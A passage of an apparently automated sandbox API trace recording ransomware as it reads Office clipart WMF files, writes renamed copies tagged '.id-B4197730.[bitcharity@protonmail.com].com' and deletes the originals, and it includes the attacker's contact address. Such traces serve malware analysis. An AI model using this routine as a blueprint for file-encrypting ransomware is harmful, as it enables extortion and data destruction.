(lpString1=".doc", lpString2=".WMF") returned -1 [0295.171] lstrlenW (lpString=".docx") returned 5 [0295.171] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.172] lstrlenW (lpString=".pdf") returned 4 [0295.172] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.172] lstrlenW (lpString=".xls") returned 4 [0295.172] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.172] lstrlenW (lpString=".xlsx") returned 5 [0295.172] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.172] lstrlenW (lpString=".ppt") returned 4 [0295.172] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0295.172] lstrlenW (lpString=".zip") returned 4 [0295.172] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.172] lstrlenW (lpString=".rar") returned 4 [0295.172] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.172] lstrlenW (lpString=".bz2") returned 4 [0295.172] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.172] lstrlenW (lpString=".7z") returned 3 [0295.172] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0295.172] lstrlenW (lpString=".dbf") returned 4 [0295.172] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0295.172] lstrlenW (lpString=".1cd") returned 4 [0295.172] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01145_.WMF") returned 68 [0295.172] lstrlenW (lpString=".jpg") returned 4 [0295.172] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.172] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0295.172] lstrlenW (lpString="DD01152_.WMF") returned 12 [0295.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0295.173] GetFileSizeEx (in: hFile=0x10a8, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=2960) returned 1 [0295.173] CloseHandle (hObject=0x10a8) returned 1 [0295.173] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf")) returned 0x220 [0295.173] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0295.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0295.173] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0295.173] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0295.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0295.174] GetLastError () returned 0x0 [0295.174] ReadFile (in: hFile=0x10a8, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0xb90, lpOverlapped=0x0) returned 1 [0295.302] WriteFile (in: hFile=0x1098, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xba0, lpOverlapped=0x0) returned 1 [0295.303] ReadFile (in: hFile=0x10a8, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0295.303] WriteFile (in: hFile=0x1098, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0295.303] SetEndOfFile (hFile=0x1098) returned 1 [0295.304] CloseHandle (hObject=0x1098) returned 1 [0295.304] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0295.304] SetEndOfFile (hFile=0x10a8) returned 1 [0295.305] CloseHandle (hObject=0x10a8) returned 1 [0295.305] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0295.305] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf")) returned 1 [0295.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0295.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0295.305] lstrlenW (lpString=".doc") returned 4 [0295.305] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.305] lstrlenW (lpString=".docx") returned 5 [0295.305] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.305] lstrlenW (lpString=".pdf") returned 4 [0295.305] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.306] lstrlenW (lpString=".xls") returned 4 [0295.306] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.306] lstrlenW (lpString=".xlsx") returned 5 [0295.306] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.306] lstrlenW (lpString=".ppt") returned 4 [0295.306] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0295.306] lstrlenW (lpString=".zip") returned 4 [0295.306] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.306] lstrlenW (lpString=".rar") returned 4 [0295.306] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.306] lstrlenW (lpString=".bz2") returned 4 [0295.306] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.306] lstrlenW (lpString=".7z") returned 3 [0295.306] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0295.306] lstrlenW (lpString=".dbf") returned 4 [0295.306] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0295.306] lstrlenW (lpString=".1cd") returned 4 [0295.306] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0295.306] lstrlenW (lpString=".jpg") returned 4 [0295.306] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0295.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0295.306] lstrlenW (lpString=".doc") returned 4 [0295.306] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.307] lstrlenW (lpString=".docx") returned 5 [0295.307] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.307] lstrlenW (lpString=".pdf") returned 4 [0295.307] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.307] lstrlenW (lpString=".xls") returned 4 [0295.307] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.307] lstrlenW (lpString=".xlsx") returned 5 [0295.307] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.307] lstrlenW (lpString=".ppt") returned 4 [0295.307] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0295.307] lstrlenW (lpString=".zip") returned 4 [0295.307] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.307] lstrlenW (lpString=".rar") returned 4 [0295.307] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.307] lstrlenW (lpString=".bz2") returned 4 [0295.307] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.307] lstrlenW (lpString=".7z") returned 3 [0295.307] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0295.307] lstrlenW (lpString=".dbf") returned 4 [0295.307] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0295.307] lstrlenW (lpString=".1cd") returned 4 [0295.307] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0295.307] lstrlenW (lpString=".jpg") returned 4 [0295.307] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.308] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0295.308] lstrlenW (lpString="DD01166_.WMF") returned 12 [0295.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0295.308] GetFileSizeEx (in: hFile=0x10a8, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=2080) returned 1 [0295.308] CloseHandle (hObject=0x10a8) returned 1 [0295.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf")) returned 0x220 [0295.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0295.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0295.308] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0295.308] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0295.309] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0295.309] GetLastError () returned 0x0 [0295.309] ReadFile (in: hFile=0x10a8, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x820, lpOverlapped=0x0) returned 1 [0295.373] WriteFile (in: hFile=0x1098, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0x830, lpOverlapped=0x0) returned 1 [0295.374] ReadFile (in: hFile=0x10a8, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0295.374] WriteFile (in: hFile=0x1098, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0295.374] SetEndOfFile (hFile=0x1098) returned 1 [0295.374] CloseHandle (hObject=0x1098) returned 1 [0295.374] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0295.374] SetEndOfFile (hFile=0x10a8) returned 1 [0295.375] CloseHandle (hObject=0x10a8) returned 1 [0295.376] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0295.376] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf")) returned 1 [0295.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0295.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0295.376] lstrlenW (lpString=".doc") returned 4 [0295.377] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.377] lstrlenW (lpString=".docx") returned 5 [0295.377] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.377] lstrlenW (lpString=".pdf") returned 4 [0295.377] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.377] lstrlenW (lpString=".xls") returned 4 [0295.377] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.377] lstrlenW (lpString=".xlsx") returned 5 [0295.377] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.377] lstrlenW (lpString=".ppt") returned 4 [0295.377] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0295.377] lstrlenW (lpString=".zip") returned 4 [0295.377] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.377] lstrlenW (lpString=".rar") returned 4 [0295.377] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.377] lstrlenW (lpString=".bz2") returned 4 [0295.377] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.377] lstrlenW (lpString=".7z") returned 3 [0295.377] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0295.377] lstrlenW (lpString=".dbf") returned 4 [0295.377] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0295.377] lstrlenW (lpString=".1cd") returned 4 [0295.377] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0295.377] lstrlenW (lpString=".jpg") returned 4 [0295.377] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0295.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0295.378] lstrlenW (lpString=".doc") returned 4 [0295.378] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.378] lstrlenW (lpString=".docx") returned 5 [0295.378] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.378] lstrlenW (lpString=".pdf") returned 4 [0295.378] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.378] lstrlenW (lpString=".xls") returned 4 [0295.378] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.378] lstrlenW (lpString=".xlsx") returned 5 [0295.378] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.378] lstrlenW (lpString=".ppt") returned 4 [0295.378] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0295.378] lstrlenW (lpString=".zip") returned 4 [0295.378] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.378] lstrlenW (lpString=".rar") returned 4 [0295.378] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.378] lstrlenW (lpString=".bz2") returned 4 [0295.378] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.378] lstrlenW (lpString=".7z") returned 3 [0295.378] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0295.378] lstrlenW (lpString=".dbf") returned 4 [0295.378] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0295.378] lstrlenW (lpString=".1cd") returned 4 [0295.378] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68 [0295.379] lstrlenW (lpString=".jpg") returned 4 [0295.379] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.379] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0295.379] lstrlenW (lpString="DD01167_.WMF") returned 12 [0295.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0295.379] GetFileSizeEx (in: hFile=0x10a8, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=2080) returned 1 [0295.379] CloseHandle (hObject=0x10a8) returned 1 [0295.379] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf")) returned 0x220 [0295.379] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0295.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a8 [0295.380] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0295.380] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0295.380] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0295.380] GetLastError () returned 0x0 [0295.380] ReadFile (in: hFile=0x10a8, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x820, lpOverlapped=0x0) returned 1 [0296.186] WriteFile (in: hFile=0x1098, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0x830, lpOverlapped=0x0) returned 1 [0296.187] ReadFile (in: hFile=0x10a8, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0296.187] WriteFile (in: hFile=0x1098, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0296.187] SetEndOfFile (hFile=0x1098) returned 1 [0296.187] CloseHandle (hObject=0x1098) returned 1 [0296.187] SetFilePointerEx (in: hFile=0x10a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0296.187] SetEndOfFile (hFile=0x10a8) returned 1 [0296.188] CloseHandle (hObject=0x10a8) returned 1 [0296.189] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0296.189] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf")) returned 1 [0296.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0296.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0296.189] lstrlenW (lpString=".doc") returned 4 [0296.189] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.189] lstrlenW (lpString=".docx") returned 5 [0296.189] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.189] lstrlenW (lpString=".pdf") returned 4 [0296.189] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.189] lstrlenW (lpString=".xls") returned 4 [0296.189] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.189] lstrlenW (lpString=".xlsx") returned 5 [0296.189] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.190] lstrlenW (lpString=".ppt") returned 4 [0296.190] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0296.190] lstrlenW (lpString=".zip") returned 4 [0296.190] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.190] lstrlenW (lpString=".rar") returned 4 [0296.190] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.190] lstrlenW (lpString=".bz2") returned 4 [0296.190] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.190] lstrlenW (lpString=".7z") returned 3 [0296.190] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0296.190] lstrlenW (lpString=".dbf") returned 4 [0296.190] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0296.190] lstrlenW (lpString=".1cd") returned 4 [0296.190] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0296.190] lstrlenW (lpString=".jpg") returned 4 [0296.190] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0296.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68 [0296.190] lstrlenW (lpString=".doc") returned 4 [0296.190] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.190] lstrlenW (lpString=".docx") returned 5 [0296.190] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.190] lstrlenW (lpString=".pdf") returned 4 [0296.190] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.191] lstrlenW 